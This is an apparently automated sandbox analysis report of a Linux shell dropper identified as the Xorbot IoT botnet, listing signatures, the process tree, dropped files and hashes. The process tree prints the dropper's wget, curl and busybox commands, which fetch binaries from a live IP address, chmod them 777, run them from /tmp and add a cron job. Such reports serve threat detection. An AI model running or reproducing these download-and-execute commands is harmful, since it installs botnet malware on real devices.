Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/12/2024, 12:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    190e6507e4a3dcd6b4508c2b85bf651e

  • SHA1

    1e115fc1b223bbb586a8fd07e179303365f58719

  • SHA256

    98e186433c1f97db494e03c17ebe6d5d9212bdb42cfa6c2227d57bd22922ff1f

  • SHA512

    5f6afb085a5a5a421cc11c81e42f23150724a91df3078252a5d28fe9b98a5547411b3d62d7ef7a4d1e3358f9fd8c46633f8452abe0da455c8a0ec9b42b152bfb

  • SSDEEP

    96:bF5lteaknj9njGknj1jCjyjXj3j7uOCr997qmufsKYDPJ5lKknj9njGknj1jCjyV:bHeakn5nCknBOmTaDn5nCknBOmV

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:655
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:673
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          ./Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Writes file to tmp directory
            PID:688
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:689
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Writes file to tmp directory
            PID:693
          • /bin/chmod
            chmod 777 Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • File and Directory Permissions Modification
            PID:700
          • /tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            ./Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:701
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:703
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:705
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:706
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:708
                • /bin/rm
                  rm Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
                  2⤵
                    PID:711
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                    2⤵
                      PID:716
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                      2⤵
                        PID:717
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                        • Writes file to tmp directory
                        PID:719
                      • /bin/chmod
                        chmod 777 mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:725
                      • /tmp/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        ./mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                        • Executes dropped EXE
                        PID:726
                      • /bin/rm
                        rm mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                          PID:727
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                          2⤵
                            PID:729
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                            2⤵
                              PID:731
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                              • Writes file to tmp directory
                              PID:732
                            • /bin/chmod
                              chmod 777 ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                              • File and Directory Permissions Modification
                              PID:737
                            • /tmp/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              ./ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                              • Executes dropped EXE
                              PID:739
                            • /bin/rm
                              rm ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                                PID:741
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                2⤵
                                  PID:743
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                  2⤵
                                    PID:744
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:746
                                  • /bin/chmod
                                    chmod 777 UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:756
                                  • /tmp/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    ./UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                    • Executes dropped EXE
                                    PID:759
                                  • /bin/rm
                                    rm UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                      PID:761
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                      2⤵
                                        PID:762
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                        2⤵
                                          PID:764
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:767
                                        • /bin/chmod
                                          chmod 777 5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:771
                                        • /tmp/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          ./5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                          • Executes dropped EXE
                                          PID:773
                                        • /bin/rm
                                          rm 5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                            PID:775
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                            2⤵
                                              PID:776
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                              2⤵
                                                PID:777
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:778
                                              • /bin/chmod
                                                chmod 777 TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:782
                                              • /tmp/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                ./TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                • Executes dropped EXE
                                                PID:783
                                              • /bin/rm
                                                rm TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                  PID:784
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                  2⤵
                                                    PID:785
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                    2⤵
                                                      PID:786
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:787
                                                    • /bin/chmod
                                                      chmod 777 ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:788
                                                    • /tmp/ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                      ./ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:789
                                                    • /bin/rm
                                                      rm ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                      2⤵
                                                        PID:790
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                        2⤵
                                                          PID:791
                                                        • /usr/bin/curl
                                                          curl -O http://216.126.231.240/bins/Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                          2⤵
                                                            PID:793
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:795
                                                          • /bin/chmod
                                                            chmod 777 Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:800
                                                          • /tmp/Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                            ./Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:801
                                                          • /bin/rm
                                                            rm Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH
                                                            2⤵
                                                              PID:802
                                                            • /usr/bin/wget
                                                              wget http://216.126.231.240/bins/9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                              2⤵
                                                                PID:804
                                                              • /usr/bin/curl
                                                                curl -O http://216.126.231.240/bins/9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                                2⤵
                                                                  PID:806
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:809
                                                                • /bin/chmod
                                                                  chmod 777 9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:814
                                                                • /tmp/9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                                  ./9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:816
                                                                • /bin/rm
                                                                  rm 9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo
                                                                  2⤵
                                                                    PID:818
                                                                  • /usr/bin/wget
                                                                    wget http://216.126.231.240/bins/Z5XjNFELOfnWrN1d91lquYKvHq6KnDM0Yx
                                                                    2⤵
                                                                      PID:820

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • /tmp/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut

                                                                    Filesize

                                                                    107KB

                                                                    MD5

                                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                                    SHA1

                                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                                    SHA256

                                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                                    SHA512

                                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                                  • /tmp/9njbW7iKUwlEfiy5uYNTpUP90zDn2jy8Xo

                                                                    Filesize

                                                                    99KB

                                                                    MD5

                                                                    9438d9bc392bcf300a5583b6df5bc8f6

                                                                    SHA1

                                                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                                                    SHA256

                                                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                                    SHA512

                                                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                                  • /tmp/ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo

                                                                    Filesize

                                                                    119KB

                                                                    MD5

                                                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                                                    SHA1

                                                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                                    SHA256

                                                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                                    SHA512

                                                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                                  • /tmp/Chr1Zhv6AFw4SoXVKZVTbiQYVET5AuaKcH

                                                                    Filesize

                                                                    177KB

                                                                    MD5

                                                                    786d75a158fe731feca3880f436082c0

                                                                    SHA1

                                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                    SHA256

                                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                    SHA512

                                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                  • /tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK

                                                                    Filesize

                                                                    127KB

                                                                    MD5

                                                                    89077b7bd4bcafca7713be43635c4862

                                                                    SHA1

                                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                                    SHA256

                                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                                    SHA512

                                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                                  • /tmp/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO

                                                                    Filesize

                                                                    141KB

                                                                    MD5

                                                                    3ca8decdb1e52c423c521bfff02ac200

                                                                    SHA1

                                                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                                    SHA256

                                                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                                    SHA512

                                                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                                  • /tmp/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX

                                                                    Filesize

                                                                    122KB

                                                                    MD5

                                                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                                                    SHA1

                                                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                    SHA256

                                                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                    SHA512

                                                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                  • /tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

                                                                    Filesize

                                                                    151KB

                                                                    MD5

                                                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                                                    SHA1

                                                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                    SHA256

                                                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                    SHA512

                                                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                  • /tmp/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP

                                                                    Filesize

                                                                    111KB

                                                                    MD5

                                                                    701e7a55a4f3650f5feee92a9860e5fc

                                                                    SHA1

                                                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                    SHA256

                                                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                    SHA512

                                                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                  • /tmp/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK

                                                                    Filesize

                                                                    111KB

                                                                    MD5

                                                                    ca897a38f23ec23521ce0b1b83f8422d

                                                                    SHA1

                                                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                    SHA256

                                                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                    SHA512

                                                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                  • /var/spool/cron/crontabs/tmp.shB1vF

                                                                    Filesize

                                                                    210B

                                                                    MD5

                                                                    9d2d7bdc55948cfa3c507d30e67d827c

                                                                    SHA1

                                                                    04bb411909a8af98e074e35095b02be7de5a919f

                                                                    SHA256

                                                                    3699249fc175f226acf172495c18f8d161a0ea60ffc659aed0e0067d5abe9819

                                                                    SHA512

                                                                    6ce8fd7fd1d387f8fea5930c23775faf763c916d4319c9b31a7ff6222d24bbb69438f81abb301546c7e44894829e1783a377f89fab5ce28169617080b16794bc